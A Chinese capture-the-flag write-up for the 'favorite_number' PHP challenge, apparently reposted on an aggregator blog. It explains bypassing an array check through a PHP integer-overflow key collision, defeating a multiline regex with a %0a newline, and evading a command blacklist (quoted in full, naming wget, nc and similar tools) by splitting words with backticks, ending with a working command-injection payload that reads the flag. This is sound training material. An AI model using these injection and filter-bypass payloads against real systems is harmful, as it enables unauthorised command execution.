攻防世界-favorite_number
老樣子進(jìn)入環(huán)境,一段代碼刷刷下來,闖進(jìn)腦子里
?這里就需要具備php語言的基礎(chǔ)了,還有正則的基礎(chǔ),還不會(huì)的小伙伴,趕緊補(bǔ)一補(bǔ)
(注意php5.5.9這個(gè)版本)
分析一下代碼:
if($stuff === $array && $stuff[0] != 'admin')? //數(shù)組判斷,強(qiáng)等于,首元素需要不等于 'admin'
if (preg_match("/^\d+$/im",$num))? //只允純數(shù)字, 看到謀面的/m了吧,這是開啟了多行匹配,所以呢
^和$不只是字符串匹配開頭和結(jié)尾,這就是匹配每一行的開頭和結(jié)尾. 用%a0換行,這樣正則匹配就只能匹配到第一行.
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num))
// 這里相當(dāng)于一個(gè)黑名單,不允許有我們常用的可以執(zhí)行的代碼命令,把它們都過濾掉了
主要的代碼部分都清楚了,步驟就繞過這三個(gè)if 執(zhí)行里面的system
?
這第一給if就給我難住了,想了很久,要不然就是溢出,要不就是php5.5.9這個(gè)版本有什么漏洞,不然怎么構(gòu)造payload 我也繞不過去,去逛了一圈,看到了一些資料,php5.5.26這版本有個(gè)整數(shù)溢出漏洞
小伙伴可以自己看一看: https://bugs.php.net/bug.php?id=69892
漏洞就是說數(shù)組中鍵值為0的元素與4294967296 //0x100000000 (0x開頭表示16進(jìn)制,換算過來就是4294967296)的元素是一樣的
所以我們構(gòu)造payload先繞過第一個(gè)if:
stuff[4294967296]=admin&stuff[1]=user&num=666
?第一個(gè)if繞過
第二個(gè)if后面加%0a加ls /查看根目錄
看到flag字樣了,cat /flag貓一眼
?好家伙,被過濾掉了,那么就要想想別的辦法看了
https://blog.csdn.net/weixin_42373789/article/details/113451481可以參考參考繞過姿勢(shì),加上自己奇思妙想
stuff%5B4294967296%5D=admin&stuff%5B1%5D=user&num=666%0a ca``t? /fl``ag
?成功拿到flag,打完收工!
?
總結(jié)
以上是生活随笔為你收集整理的攻防世界-favorite_number的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 小谈星际的操作与APM
- 下一篇: -sql语法-2-部门表